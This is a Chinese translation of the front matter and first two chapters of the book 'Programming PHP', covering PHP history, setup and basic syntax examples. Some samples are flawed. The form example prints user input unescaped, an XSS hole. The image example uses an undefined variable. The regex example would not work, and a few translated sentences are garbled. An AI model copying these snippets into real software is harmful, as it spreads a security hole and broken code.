PHP-编程指南第四版-全-

PHP 编程指南第四版(全)

原文:zh.annas-archive.org/md5/516bbc09499c161bb049b4edb114d468

译者:飞龙

协议:CC BY-NC-SA 4.0

序言

很难相信将近 20 年前,我第一次拿起了我的第一本 PHP 书。我对编程有兴趣,超越了 Netscape Composer 和静态 HTML。我知道 PHP 能让我创建动态、更智能的网站,并且存储和获取数据以创建交互式的 Web 应用程序。

我不知道的是,解锁 PHP 的这些新能力将带我走向何方,或者 PHP 将如何在 20 年后演变成为支配大约 80%的 Web 的编程语言,并得到一个友善、友好和充满活力的社区的支持。

千里之行始于足下。通过选择 Peter MacIntyre 和 Kevin Tatroe 的Programming PHP,你不仅迈出了进入 PHP 及其基础的第一步,还迈出了进入网站和 Web 应用程序开发未来的一步。凭借可用的工具和对 PHP 编程语言的深入理解,唯一的限制将是你的想象力和继续成长并沉浸在社区中的意愿。这段旅程属于你,可能性无限,未来由你定义。

当你准备开始这段旅程时,我想分享几条建议。首先,把每一章节实践,尝试不同的方法,不要害怕出错或失败。虽然Programming PHP会为你奠定坚实的基础,但探索语言并找到汇集所有这些组成部分的新创意方式,仍由你来决定。

我的第二条建议是:成为 PHP 社区的积极一员。尽可能利用在线社区、用户组和 PHP 会议。当你尝试新事物时,与社区分享并获取他们的反馈和建议。

不仅可以找到一个支持的社群——一群最友善的人,他们希望你成功,并乐意花时间帮助你在编程旅程中取得进展——而且你还将建立一个持续学习的基础,帮助你更快掌握 PHP 的核心技能,并保持对新的编程理论、技术、工具和变化的了解。更不用说,你将会遭遇一连串的糟糕双关语(包括我自己的)。

因此,我很荣幸能够成为第一批欢迎你并祝愿你旅程顺利的人之一——而这本书无疑是开启这段旅程的最好开始!

迈克尔·斯托,作家、演讲家和技术专家

2020 年冬,加利福尼亚州旧金山

前言

现在比以往任何时候,网络是企业和个人沟通的主要工具。网站携带地球全景卫星图像;寻找外太空生命;存放个人照片相册、企业购物车和产品列表等等!许多这样的网站都是由 PHP 驱动的,这是一种主要用于生成 HTML 内容的开源脚本语言。

自 1994 年成立以来,PHP 已经席卷了互联网,今天仍然保持其惊人的增长。由 PHP 驱动的数百万个网站证明了它的流行和易用性。普通人可以学习 PHP,并用它构建强大的动态网站。

核心 PHP 语言(版本 7+)提供了强大的字符串和数组处理功能,以及对面向对象编程的大大改进的支持。通过使用标准和可选的扩展模块,PHP 应用程序可以与数据库(如 MySQL 或 Oracle)交互、绘制图形、创建 PDF 文件和解析 XML 文件。你可以在 Windows 上运行 PHP,这让你可以控制其他 Windows 应用程序(例如使用 COM 控制 Word 和 Excel)或者通过 ODBC 与数据库交互。

本书是关于 PHP 语言的指南。当你完成它(我们不会告诉你它怎么结束!),你将了解 PHP 语言的工作原理,如何使用 PHP 标配的许多强大扩展,并设计和构建你自己的 PHP Web 应用程序。

受众

PHP 是一个融合了多种文化的技术。网页设计师喜欢它的易用性和便利性,而程序员则赞赏它的灵活性、强大性、多样性和速度。两种文化都需要对这门语言有清晰准确的参考。如果你是(Web)程序员,那么这本书适合你。我们展示了 PHP 语言的整体架构,然后深入讨论细节,不浪费你的时间。大量的示例澄清了文本解释;实用的编程建议和许多风格提示将帮助你不仅成为 PHP 程序员,而且是优秀的PHP 程序员。

如果你是网页设计师,你将喜欢特定技术的清晰和实用指南,如 JSON、XML、会话、PDF 生成和图形处理。而且你可以从语言章节中迅速获取所需的信息,这些章节以简单的术语解释基本编程概念。

本版已完全修订,以涵盖 PHP 7.4 版本的最新功能。

本书的假设

本书假定你具有 HTML 的工作知识。如果你不懂 HTML,在尝试学习 PHP 之前,你应该先对简单的网页有所了解。关于 HTML 的更多信息,我们推荐查看HTML & XHTML: The Definitive Guide(由 Chuck Musciano 和 Bill Kennedy(O'Reilly)著)。

本书内容

我们安排了本书的内容,以便你可以从头到尾阅读,也可以跳跃阅读只关注你感兴趣的主题。本书分为 18 章和 1 个附录,具体如下:

第一章,PHP 简介

探讨 PHP 的历史,并快速概述了 PHP 程序的可能性。

第二章,语言基础

是 PHP 程序元素的简明指南,如标识符、数据类型、运算符和流控制语句。

第三章,函数

讨论用户定义的函数,包括作用域、可变长度参数列表以及可变和匿名函数。

第四章,字符串

涵盖了在 PHP 代码中构建、分解、搜索和修改字符串时将使用的函数。

第五章,数组

详细介绍了在 PHP 代码中构造、处理和排序数组的符号和函数。

第六章,对象

涵盖了 PHP 更新的面向对象特性。在本章中,您将了解类、对象、继承和内省的内容。

第七章,日期和时间

讨论日期和时间操作,如时区和日期计算。

第八章,Web 技术

讨论大多数 PHP 程序员最终想要使用的技术,包括处理 Web 表单数据、维护状态以及处理 SSL。

第九章,数据库

讨论 PHP 处理数据库的模块和函数,以 MySQL 数据库为例。同时也涵盖了 SQLite 和 PDO 数据库接口。此外还介绍了 NoSQL 概念。

第十章,图形

演示如何在 PHP 内部创建和修改各种格式的图像文件。

第十一章,PDF

解释如何从 PHP 应用程序创建动态 PDF 文件。

第十二章,XML

介绍 PHP 的扩展,用于生成和解析 XML 数据。

第十三章,JSON

涵盖了 JavaScript 对象表示法(JSON),这是一种设计成极其轻量和人类可读的标准化数据交换格式。

第十四章,安全

为编写安全脚本的程序员提供宝贵的建议和指导。您将学习编程最佳实践,帮助您避免可能导致灾难的错误。

第十五章,应用技巧

讨论编码技术,如实现代码库、以独特方式处理输出和错误处理。

第十六章,Web 服务

描述了通过 REST 工具和云连接进行外部通信的技术。

第十七章,调试 PHP

讨论调试 PHP 代码的技术以及编写可调试 PHP 代码的方法。

第十八章,不同平台上的 PHP

讨论 PHP Windows 版本的技巧和陷阱。还讨论了一些 Windows 特有的功能,如 COM。

附录

用作 PHP 所有核心函数的便捷快速参考。

本书中使用的约定

本书中使用了以下排版约定:

斜体

指示新术语、URL、电子邮件地址、文件名和文件扩展名。

等宽字体

用于程序清单,以及段落内引用程序元素如变量或函数名、数据库、数据类型、环境变量、语句和关键字。

粗体等宽字体

显示用户应按字面输入的命令或其他文本。

斜体等宽字体

显示应替换为用户提供的值或由上下文确定值的文本。

此图标表示提示、建议、一般注意事项、警告或注意。

O’Reilly 在线学习

超过 40 年来,O’Reilly Media 提供技术和商业培训、知识和洞见,帮助公司取得成功。

我们独特的专家和创新者网络通过书籍、文章、会议和我们的在线学习平台分享他们的知识和专长。O’Reilly 的在线学习平台为您提供按需访问的实时培训课程、深度学习路径、交互式编码环境以及来自 O’Reilly 和其他 200 多家出版商的大量文本和视频。欲了解更多信息,请访问http://oreilly.com

如何联系我们

请将关于本书的评论和问题发送给出版商:

  • O’Reilly Media, Inc.

  • 1005 Gravenstein Highway North

  • 加利福尼亚州塞巴斯托波尔 95472

  • 800-998-9938(美国或加拿大)

  • 707-829-0515(国际或本地)

  • 707-829-0104(传真)

我们为本书设立了一个网页,列出勘误、示例和任何额外信息。您可以访问此页面:https://oreil.ly/programming-PHP-4e

发送电子邮件至bookquestions@oreilly.com以评论或提出关于本书的技术问题。

有关我们的图书、课程、会议和新闻的更多信息,请访问我们的网站:http://www.oreilly.com

在 Facebook 上找到我们:http://facebook.com/oreilly

在 Twitter 上关注我们:http://twitter.com/oreillymedia

在 YouTube 上观看我们:http://www.youtube.com/oreillymedia

致谢

Kevin Tatroe

再次感谢所有曾经为 PHP 贡献过代码、为 PHP 生态系统做出贡献或编写过 PHP 代码的个人。正是你们使 PHP 成为了现在和将来的样子。

致我的父母,他们曾在一次漫长而惊险的飞行旅程中为我购买了一个小的乐高套装,开始了一个创造力和组织的痴迷,这至今仍然放松和激励着我。

最后,对 Jenn 和 Hadden 的大量感激,感谢他们每天帮助启发和鼓励我。

Peter MacIntyre

我想赞美万军之耶和华,祂赐给我面对每一天的力量!祂通过电力创造了我谋生的方式;感谢和赞美祂为祂创造的这完全独特而迷人的一部分!

对于再次成为我在这版主要合著者的 Kevin,感谢你的努力,再次专注于这个项目直至出版。

致力于筛选我们的代码示例并测试它们确保我们“说真话”的技术编辑们——Lincoln、Tanja、Jim 和 James——谢谢你们!

最后,对 O’Reilly 的所有那些经常被忽略的人们——我不知道你们所有人的名字,但我知道你们为了让这样一个项目最终“上线”所做的努力。编辑、图形工作、布局、规划、营销等等,所有这些工作都必须完成,我非常感激你们为此目标所做的一切辛勤工作。

第一章:PHP 简介

PHP 是一种简单但功能强大的语言,专为创建 HTML 内容而设计。本章介绍了 PHP 语言的基本背景,描述了 PHP 的性质和历史,它可以运行在哪些平台上,以及如何配置它。本章最后展示了 PHP 的实际应用,通过快速演示几个 PHP 程序,展示常见任务的处理,例如处理表单数据、与数据库交互和创建图形等。

PHP 能做什么?

PHP 可以以两种主要方式使用:

服务器端脚本

PHP 最初是为创建动态 Web 内容而设计的,至今仍然非常适合这项任务。要生成 HTML,您需要 PHP 解析器和一个 Web 服务器来发送编码的文档文件。PHP 也因其通过数据库连接生成动态内容而变得流行,还支持 XML 文档、图形、PDF 文件等更多内容。

命令行脚本

PHP 可以像 Perl、awk 或 Unix shell 一样从命令行运行脚本。您可以使用命令行脚本执行系统管理任务,例如备份和日志解析;甚至某些 CRON 作业类型的脚本也可以用这种方式完成(作为非可视化 PHP 任务)。

然而,在本书中,我们集中讨论第一项内容:使用 PHP 开发动态 Web 内容。

PHP 可在所有主要操作系统上运行,包括 Unix 变种(包括 Linux、FreeBSD、Ubuntu、Debian 和 Solaris)、Windows 和 macOS。它可以与所有主流的 Web 服务器一起使用,包括 Apache、Nginx 和 OpenBSD 等服务器;甚至像 Azure 和 Amazon 这样的云环境也在不断增长。

PHP 语言本身非常灵活。例如,您不仅限于输出 HTML 或其他文本文件 - 任何文档格式都可以生成。PHP 内置支持生成 PDF 文件以及 GIF、JPEG 和 PNG 图像。

PHP 最显著的特性之一是其广泛支持的数据库。PHP 支持所有主要的数据库(包括 MySQL、PostgreSQL、Oracle、Sybase、MS-SQL、DB2 和符合 ODBC 标准的数据库),甚至支持许多不太常见的数据库。甚至像 CouchDB 和 MongoDB 这样的新型 NoSQL 风格的数据库也得到了支持。通过 PHP,从数据库创建具有动态内容的网页非常简单。

最后,PHP 提供了一个 PHP 代码库,用于执行常见任务,如数据库抽象、错误处理等,通过 PHP 扩展和应用程序库(PEAR)。PEAR 是一个用于可重用 PHP 组件的框架和分发系统。

PHP 的简要历史

Rasmus Lerdorf 最初在 1994 年构思了 PHP,但今天人们使用的 PHP 与最初版本大不相同。要理解 PHP 是如何发展到现在的,了解语言的历史演变是很有用的。这里有详细的评论和来自 Rasmus 自己的电子邮件。

PHP 的演变

这是 PHP 1.0 的公告,发布于 1995 年 6 月的 Usenet 新闻组(comp.infosystems.www.authoring.cgi):

From: rasmus@io.org (Rasmus Lerdorf)
Subject: Announce: Personal Home Page Tools (PHP Tools)
Date: 1995/06/08
Message-ID: <3r7pgp$aa1@ionews.io.org>#1/1
organization: none
newsgroups: comp.infosystems.www.authoring.cgi

Announcing the Personal Home Page Tools (PHP Tools) version 1.0.

These tools are a set of small tight cgi binaries written in C.
They perform a number of functions including:

. Logging accesses to your pages in your own private log files
. Real-time viewing of log information
. Providing a nice interface to this log information
. Displaying last access information right on your pages
. Full daily and total access counters
. Banning access to users based on their domain
. Password protecting pages based on users' domains
. Tracking accesses ** based on users' e-mail addresses **
. Tracking referring URL's - HTTP_REFERER support
. Performing server-side includes without needing server support for it
. Ability to not log accesses from certain domains (ie. your own)
. Easily create and display forms
. Ability to use form information in following documents

Here is what you don't need to use these tools:

. You do not need root access - install in your ~/public_html dir
. You do not need server-side includes enabled in your server
. You do not need access to Perl or Tcl or any other script interpreter
. You do not need access to the httpd log files

The only requirement for these tools to work is that you have
the ability to execute your own cgi programs. Ask your system
administrator if you are not sure what this means.

The tools also allow you to implement a guestbook or any other
form that needs to write information and display it to users
later in about 2 minutes.

The tools are in the public domain distributed under the GNU
Public License. Yes, that means they are free!

For a complete demonstration of these tools, point your browser
at: http://www.io.org/~rasmus

--
Rasmus Lerdorf
rasmus@io.org
http://www.io.org/~rasmus

请注意,此消息中显示的 URL 和电子邮件地址早已消失。这份公告的语言反映了当时人们关注的问题,比如密码保护页面、轻松创建表单以及在后续页面访问表单数据。此外,该公告还说明了 PHP 最初作为一系列有用工具的框架的定位。

公告只谈到了随 PHP 一起提供的工具,但在幕后的目标是创建一个框架,使得扩展 PHP 并添加更多工具变得容易。这些插件的业务逻辑是用 C 编写的;一个简单的解析器从 HTML 中提取标签并调用各种 C 函数。真正的计划从来不是创建一个脚本语言。

那么发生了什么呢?

Rasmus 开始为多伦多大学进行一个相当大的项目,需要一个工具来整合来自各处的数据并呈现一个漂亮的基于 Web 的管理界面。当然,他使用了 PHP 来完成这项任务,但出于性能原因,需要更好地将 PHP 1.0 的各种小工具整合到一起,并集成到 Web 服务器中。

最初,对 NCSA Web 服务器进行了一些修改,以补丁形式支持 PHP 核心功能。这种方法的问题在于,作为用户,你必须用这种特殊的、经过修改的版本替换你的 Web 服务器软件。幸运的是,此时 Apache 也开始获得势头,Apache API 使得像 PHP 这样向服务器添加功能变得更加容易。

在接下来的一年左右,完成了大量工作,关注重点也有了相当大的变化。以下是 PHP 2.0(PHP/FI)的公告,发布于 1996 年 4 月:

 From: rasmus@madhaus.utcs.utoronto.ca (Rasmus Lerdorf)
 Subject: ANNOUNCE: PHP/FI Server-side HTML-Embedded Scripting Language
 Date: 1996/04/16
 Newsgroups: comp.infosystems.www.authoring.cgi

 PHP/FI is a server-side HTML embedded scripting language. It has built-in
 access logging and access restriction features and also support for
 embedded SQL queries to mSQL and/or Postgres95 backend databases.

 It is most likely the fastest and simplest tool available for creating
 database-enabled web sites.

 It will work with any UNIX-based web server on every UNIX flavour out
 there. The package is completely free of charge for all uses including
 commercial.

 Feature List:

 . Access Logging
 Log every hit to your pages in either a dbm or an mSQL database.
 Having hit information in a database format makes later analysis easier.
 . Access Restriction
 Password protect your pages, or restrict access based on the refering URL
 plus many other options.
 . mSQL Support
 Embed mSQL queries right in your HTML source files
 . Postgres95 Support
 Embed Postgres95 queries right in your HTML source files
 . DBM Support
 DB, DBM, NDBM and GDBM are all supported
 . RFC-1867 File Upload Support
 Create file upload forms
 . Variables, Arrays, Associative Arrays
 . User-Defined Functions with static variables + recursion
 . Conditionals and While loops
 Writing conditional dynamic web pages could not be easier than with
 the PHP/FI conditionals and looping support
 . Extended Regular Expressions
 Powerful string manipulation support through full regexp support
 . Raw HTTP Header Control
 Lets you send customized HTTP headers to the browser for advanced
 features such as cookies.
 . Dynamic GIF Image Creation
 Thomas Boutell's GD library is supported through an easy-to-use set of
 tags.

 It can be downloaded from the File Archive at: <URL:http://www.vex.net/php>

 --
 Rasmus Lerdorf
 rasmus@vex.net

这是第一次使用术语脚本语言。PHP 1.0 的简单标签替换代码被一个可以处理更复杂的嵌入式标签语言的解析器替换。按照今天的标准来看,这种标签语言并不特别复杂,但与 PHP 1.0 相比,它确实是。

这种变化的主要原因是,实际上使用 PHP 1.0 的人中很少有人真正有兴趣使用基于 C 的框架来创建插件。大多数用户更感兴趣的是能够直接在他们的网页中嵌入逻辑,以创建条件 HTML、自定义标签和其他类似功能。PHP 1.0 的用户不断要求能够添加点击跟踪页脚或有条件地发送不同的 HTML 块的功能。这导致了 if 标签的创建。一旦有了 if,你也需要 else,从那时起,你不管是否愿意,最终会编写出一个完整的脚本语言。

到 1997 年中期,PHP 2.0 已经有了很大的发展,并吸引了许多用户,但底层解析引擎仍然存在一些稳定性问题。该项目当时仍然主要是一个人的努力,偶尔会有一些贡献。在这一点上,以色列特拉维夫的 Zeev Suraski 和 Andi Gutmans 自愿重写了底层解析引擎,并且我们同意将他们的重写作为 PHP 版本 3.0 的基础。其他人也自愿参与 PHP 的其他部分的工作,这个项目从一个主要由少数贡献者组成的个人努力转变为一个真正的开源项目,在世界各地拥有许多开发人员。

这里是 PHP 3.0 的 1998 年 6 月公告:

 June 6, 1998 -- The PHP Development Team announced the release of PHP 3.0,
 the latest release of the server-side scripting solution already in use on
 over 70,000 World Wide Web sites.

 This all-new version of the popular scripting language includes support
 for all major operating systems (Windows 95/NT, most versions of Unix,
 and Macintosh) and web servers (including Apache, Netscape servers,
 WebSite Pro, and Microsoft Internet Information Server).

 PHP 3.0 also supports a wide range of databases, including Oracle,
 Sybase, Solid, MySQ, mSQL, and PostgreSQL, as well as ODBC data sources.

 New features include persistent database connections, support for the
 SNMP and IMAP protocols, and a revamped C API for extending the language
 with new features.

 "PHP is a very programmer-friendly scripting language suitable for
 people with little or no programming experience as well as the
 seasoned web developer who needs to get things done quickly. The
 best thing about PHP is that you get results quickly," said
 Rasmus Lerdorf, one of the developers of the language.

 "Version 3 provides a much more powerful, reliable, and efficient
 implementation of the language, while maintaining the ease of use and
 rapid development that were the key to PHP's success in the past,"
 added Andi Gutmans, one of the implementors of the new language core.

 "At Circle Net we have found PHP to be the most robust platform for
 rapid web-based application development available today," said Troy
 Cobb, Chief Technology Officer at Circle Net, Inc. "Our use of PHP
 has cut our development time in half, and more than doubled our client
 satisfaction. PHP has enabled us to provide database-driven dynamic
 solutions which perform at phenomenal speeds."

 PHP 3.0 is available for free download in source form and binaries for
 several platforms at http://www.php.net/.

 The PHP Development Team is an international group of programmers who
 lead the open development of PHP and related projects.

 For more information, the PHP Development Team can be contacted at
 core@php.net.

在发布 PHP 3.0 后,其使用量真正开始增长。版本 4.0 是由一些开发人员推动的,他们有兴趣对 PHP 的架构进行一些基本的更改。这些变化包括将语言与 Web 服务器之间的层抽象化,添加线程安全机制,以及添加更高级的两阶段解析/执行标记解析系统。这个由 Zeev 和 Andi 主要编写的新解析器被命名为 Zend 引擎。在许多开发人员的共同努力下,PHP 4.0 于 2000 年 5 月 22 日发布。

本书出版时,PHP 版本 7.3 已经发布了一段时间。已经发布了几个小的“点”版本,并且当前版本的稳定性非常高。正如您将在本书中看到的那样,这个 PHP 版本在服务器端的代码处理方面已经取得了一些重大进展。还包括许多其他小的更改、函数添加和功能增强。

PHP 的广泛使用

图 1-1 显示了根据 W3Techs 编译的 PHP 使用情况,截至 2019 年 3 月。这里最有趣的数据是,在所有调查的网站中,79% 使用了它,但仍然最广泛使用的是版本 5.0。如果您查看 W3Techs 调查 中使用的方法,您将看到他们选择了全球排名前 1000 万的网站(基于流量;网站流行度)。显然,PHP 的广泛采用确实令人印象深刻!

2019 年 3 月 PHP 使用情况

图 1-1 PHP 使用情况截至 2019 年 3 月

安装 PHP

如前所述,PHP 可用于许多操作系统和平台。因此,建议您查阅 PHP 文档,以找到最符合您将使用的环境,并遵循相应的设置说明。

有时,您可能还想更改 PHP 配置的方式。要做到这一点,您将不得不更改 PHP 配置文件并重新启动您的 Web(Apache)服务器。每次您更改 PHP 的环境时,都必须重新启动 Web(Apache)服务器,以使这些更改生效。

PHP 的配置设置通常保存在名为php.ini的文件中。该文件中的设置控制 PHP 特性的行为,比如会话处理和表单处理。本书后面的章节会提到一些php.ini选项,但通常情况下,本书中的代码不需要自定义配置。详细信息请参阅PHP 文档了解如何配置php.ini

PHP 简介

PHP 页面通常是带有嵌入 PHP 命令的 HTML 页面。这与许多其他动态网页解决方案形成对比,后者是生成 HTML 的脚本。Web 服务器处理 PHP 命令,并将其输出(以及来自文件的任何 HTML)发送到浏览器。示例 1-1 展示了一个完整的 PHP 页面。

示例 1-1. hello_world.php
<html>
 <head>
 <title>Look Out World</title>
 </head>

 <body>
 <?php echo "Hello, world!"; ?>
 </body>
</html>

将示例 1-1 的内容保存到文件hello_world.php中,并将浏览器指向它。结果显示在图 1-2 中。

hello_world.php 的输出

图 1-2. hello_world.php 的输出

PHP 的echo命令会输出内容(本例中是字符串“Hello, world!”),并插入到 HTML 文件中。在这个例子中,PHP 代码位于<?php?>标签之间。还有其他标记 PHP 代码的方法,请参阅第二章获取完整说明。

配置页面

PHP 函数phpinfo()创建一个 HTML 页面,包含有关 PHP 安装和当前配置的详细信息。您可以使用它查看是否安装了特定扩展,或者php.ini文件是否已定制。示例 1-2 是显示phpinfo()页面的完整页面。

示例 1-2. 使用 phpinfo()
<?php phpinfo();?>

图 1-3 展示了示例 1-2 输出的第一部分。

phpinfo()的部分输出

图 1-3. phpinfo()的部分输出

表单

示例 1-3 创建并处理表单。用户提交表单后,输入的名称字段信息通过$_SERVER['PHP_SELF']表单动作发送回该页面。PHP 代码检查名称字段,并在找到时显示问候语。

示例 1-3. 处理表单(form.php)
<html>
 <head>
 <title>Personalized Greeting Form</title>
 </head>

 <body>
 <?php if(!empty($_POST['name'])) {
 echo "Greetings, {$_POST['name']}, and welcome.";
 } ?>

 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
 Enter your name: <input type="text" name="name" />
 <input type="submit" />
 </form>
 </body>
</html>

表单和消息显示在图 1-4 中。

表单和问候页面

图 1-4. 表单和问候页面

PHP 程序主要通过$_POST$_GET数组变量访问表单值。第八章详细讨论了表单和表单处理。

数据库

PHP 支持所有流行的数据库系统,包括 MySQL、PostgreSQL、Oracle、Sybase、SQLite 和兼容 ODBC 的数据库。图 1-5 显示了通过 PHP 脚本运行的 MySQL 数据库查询的部分结果,显示了在图书评论站点上进行书籍搜索的结果。它列出了书名、出版年份和书籍的 ISBN 号。

通过 PHP 脚本运行的 MySQL 书籍列表查询

图 1-5. 通过 PHP 脚本运行的 MySQL 书籍列表查询

示例 1-4 中的代码连接到数据库,发出查询以检索所有可用的书籍(带有WHERE子句),并通过while循环为所有返回的结果生成表格输出。

注意

此示例数据库的 SQL 代码在提供的文件library.sql中。在创建库数据库并准备好样本数据库后,您可以将此代码插入 MySQL 中,以测试以下代码示例及其在第九章中的相关示例。

示例 1-4. 查询图书数据库(booklist.php)
<?php

$db = new mysqli("localhost", "petermac", "password", "library");

// make sure the above credentials are correct for your environment
if ($db->connect_error) {
 die("Connect Error ({$db->connect_errno}) {$db->connect_error}");
}

$sql = "SELECT * FROM books WHERE available = 1 ORDER BY title";
$result = $db->query($sql);

?>
<html>
<body>

<table cellSpacing="2" cellPadding="6" align="center" border="1">
 <tr>
 <td colspan="4">
 <h3 align="center">These Books are currently available</h3>
 </td>
 </tr>

 <tr>
 <td align="center">Title</td>
 <td align="center">Year Published</td>
 <td align="center">ISBN</td>
 </tr>
 <?php while ($row = $result->fetch_assoc()) { ?>
 <tr>
 <td><?php echo stripslashes($row['title']); ?></td>
 <td align="center"><?php echo $row['pub_year']; ?></td>
 <td><?php echo $row['ISBN']; ?></td>
 </tr>
 <?php } ?>
</table>

</body>
</html>

数据库提供的动态内容推动了网络核心的新闻、博客和电子商务网站。关于如何从 PHP 访问数据库的更多详细信息,请参阅第九章。

图形

使用 PHP,您可以轻松创建和操作图像,使用 GD 扩展。示例 1-5 提供了一个文本输入字段,允许用户指定按钮的文本。它获取一个空按钮图像文件,并将传递为 GET 参数'message'的文本居中放置在上面。然后将结果作为 PNG 图像发送回浏览器。

示例 1-5. 动态按钮(graphic_example.php)
<?php
if (isset($_GET['message'])) {
 // load font and image, calculate width of text
 $font = dirname(__FILE__) . '/fonts/blazed.ttf';
 $size = 12;
 $image = imagecreatefrompng("button.png");
 $tsize = imagettfbbox($size, 0, $font, $_GET['message']);

 // center
 $dx = abs($tsize[2] - $tsize[0]);
 $dy = abs($tsize[5] - $tsize[3]);
 $x = (imagesx($image) - $dx) / 2;
 $y = (imagesy($image) - $dy) / 2 + $dy;

 // draw text
 $black = imagecolorallocate($im,0,0,0);
 imagettftext($image, $size, 0, $x, $y, $black, $font, $_GET['message']);

 // return image
 header("Content-type: image/png");
 imagepng($image);

 exit;
} ?>
<html>
 <head>
 <title>Button Form</title>
 </head>

 <body>
 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">
 Enter message to appear on button:
 <input type="text" name="message" /><br />
 <input type="submit" value="Create Button" />
 </form>
 </body>
</html>

由示例 1-5 生成的表单显示在图 1-6 中。创建的按钮显示在图 1-7 中。

按钮创建表单

图 1-6. 按钮创建表单

创建的按钮

图 1-7. 创建的按钮

您可以使用 GD 动态调整图像大小、生成图表等。PHP 还有几个扩展可以生成 Adobe 流行的 PDF 文档。在第十章中深入讨论了动态图像生成,而第十一章则介绍了如何创建 Adobe PDF 文件。

下一步

现在您已经体验了 PHP 的可能性,可以开始学习如何使用这种语言。我们从其基本结构开始,特别关注用户定义的函数、字符串操作和面向对象编程。然后我们转向特定的应用领域,如网络、数据库、图形、XML 和安全性。最后,我们提供内置函数和扩展的快速参考。掌握这些章节,您将掌握 PHP!

第二章:语言基础

本章快速浏览了核心 PHP 语言,涵盖了数据类型、变量、运算符和流控制语句等基本主题。PHP 受其他编程语言(如 Perl 和 C)的强烈影响,因此,如果您有这些语言的经验,学习 PHP 应该很容易。如果 PHP 是您的第一种编程语言之一,不要惊慌。我们从 PHP 程序的基本单元开始,并逐步构建您的知识。

词法结构

编程语言的词法结构是指控制您在该语言中编写程序的基本规则集。它是语言的最低级语法,指定变量名的外观、用于注释的字符以及如何将程序语句彼此分隔等内容。

大小写敏感性

用户定义的类和函数的名称,以及内置结构和关键字(如echowhileclass等)不区分大小写。因此,以下这三行是等效的:

echo("hello, world");
ECHO("hello, world");
EcHo("hello, world");

另一方面,变量是区分大小写的。也就是说,$name$NAME$NaME 是三个不同的变量。

语句和分号

语句是执行某些操作的 PHP 代码集合。它可以简单到变量赋值,也可以复杂到有多个退出点的循环。这里是 PHP 语句的一个小示例,包括函数调用、一些变量数据分配以及一个 if 语句:

echo "Hello, world";
myFunction(42, "O'Reilly");
$a = 1;
$name = "Elphaba";
$b = $a / 25.0;
if ($a == $b) {
 echo "Rhyme? And Reason?";
}

PHP 使用分号分隔简单语句。使用花括号标记代码块的复合语句,例如条件测试或循环,不需要在闭括号后加分号。与其他语言不同,在 PHP 中,在闭括号前的分号是不可选的:

if ($needed) {
 echo "We must have it!"; // semicolon required here
} // no semicolon required here after the brace

然而,在闭合 PHP 标签前分号是可选的:

<?php
if ($a == $b) {
 echo "Rhyme? And Reason?";
}
echo "Hello, world" // no semicolon required before closing tag
?>

最好在可选的地方包含分号,因为这样可以更轻松地添加代码。

空白和换行

一般情况下,PHP 程序中的空白不重要。您可以将语句扩展到任意行数,或将一堆语句放在一行上。例如,这条语句:

raisePrices($inventory, $inflation, $costOfLiving, $greed);

同样可以写得更多空白:

raisePrices (
 $inventory ,
 $inflation ,
 $costOfLiving ,
 $greed
) ;

或者更少的空白:

raisePrices($inventory,$inflation,$costOfLiving,$greed);

您可以利用这种灵活的格式使您的代码更易读(通过对齐赋值、缩进等)。有些懒惰的程序员利用这种自由格式创建完全不可读的代码——这是不推荐的。

注释

注释提供给阅读您代码的人的信息,但在 PHP 执行时会被忽略。即使您认为只有您会阅读您的代码,也最好在代码中包含注释——回顾几个月前编写的代码可能会觉得好像是陌生人写的。

一个良好的实践是让您的注释尽量少,不要妨碍代码本身,但足够丰富,以便您可以使用注释告诉发生了什么。不要注释显而易见的事情,以免淹没描述棘手事物的注释。例如,这是毫无价值的:

$x = 17; // store 17 into the variable $x

而在这个复杂的正则表达式上的注释将帮助维护代码的人:

// convert &#nnn; entities into characters

$text = preg_replace('/&#([0-9])+;/', "chr('\\1')", $text);

PHP 提供了几种在代码中包含注释的方法,所有这些方法都借鉴自现有的语言,如 C、C++和 Unix shell。一般来说,使用 C 风格的注释来注释代码,使用 C++风格的注释来注释代码。

Shell 风格的注释

当 PHP 在代码中遇到井号字符(#)时,从井号到行尾或 PHP 代码段的末尾(以先到者为准)的所有内容都被视为注释。这种注释方法在 Unix shell 脚本语言中很常见,可用于注释单行代码或做简短的备注。

由于井号在页面上是可见的,有时会使用 shell 风格的注释来标记代码块:

#######################
## Cookie functions
#######################

有时它们用于代码行之前,以标识该代码的功能,此时它们通常缩进到与所用于目标代码相同的级别:

if ($doubleCheck) {
 # create an HTML form requesting that the user confirm the action
 echo confirmationForm();
}

经常将单行代码的简短注释放在同一行上:

$value = $p * exp($r * $t); # calculate compounded interest

当您紧密混合 HTML 和 PHP 代码时,让闭合的 PHP 标记终止注释会很有用:

<?php $d = 4; # Set $d to 4\. ?> Then another <?php echo $d; ?>
Then another 4

C++注释

当 PHP 在代码中遇到两个斜杠(//)时,从斜杠到行尾或代码段末尾(以先到者为准),都将被视为注释。这种注释方法源于 C++。其结果与 shell 注释样式相同。

这里是使用 C++注释重写的 shell 风格注释示例:

////////////////////////
// Cookie functions
////////////////////////

if ($doubleCheck) {
 // create an HTML form requesting that the user confirm the action
 echo confirmationForm();
}

$value = $p * exp($r * $t); // calculate compounded interest

<?php $d = 4; // Set $d to 4\. ?> Then another <?php echo $d; ?>
Then another 4

C 注释

虽然 shell 风格和 C++风格的注释可用于注释代码或做简短的备注,但较长的注释需要不同的风格。因此,PHP 支持块注释,其语法源自 C 编程语言。当 PHP 遇到斜杠后跟一个星号(/*)时,从那之后直到遇到一个星号后跟一个斜杠(*/)之前的所有内容都被视为注释。这种类型的注释与前面展示的不同,可以跨多行。

这是 C 风格多行注释的示例:

/* In this section, we take a bunch of variables and
 assign numbers to them. There is no real reason to
 do this, we're just having fun.
*/
$a = 1;
$b = 2;
$c = 3;
$d = 4;

由于 C 风格的注释具有特定的起始和结束标记,您可以将它们与代码紧密集成。这倾向于使您的代码更难阅读,因此不建议使用:

/* These comments can be mixed with code too,
see? */ $e = 5; /* This works just fine. */

与其他类型不同,C 风格的注释可以延续到 PHP 结束标记后面。例如:

<?php
$l = 12;
$m = 13;
/* A comment begins here
?>
<p>Some stuff you want to be HTML.</p>
<?= $n = 14; ?>
*/
echo("l=$l m=$m n=$n\n");
?><p>Now <b>this</b> is regular HTML...</p>
`l=12 m=13 n=`
`<p``>``Now` `<b``>``this``</b>` `is regular HTML...``</p>`

您可以根据需要缩进注释:

/* There are no
 special indenting or spacing
 rules that have to be followed, either.

 */

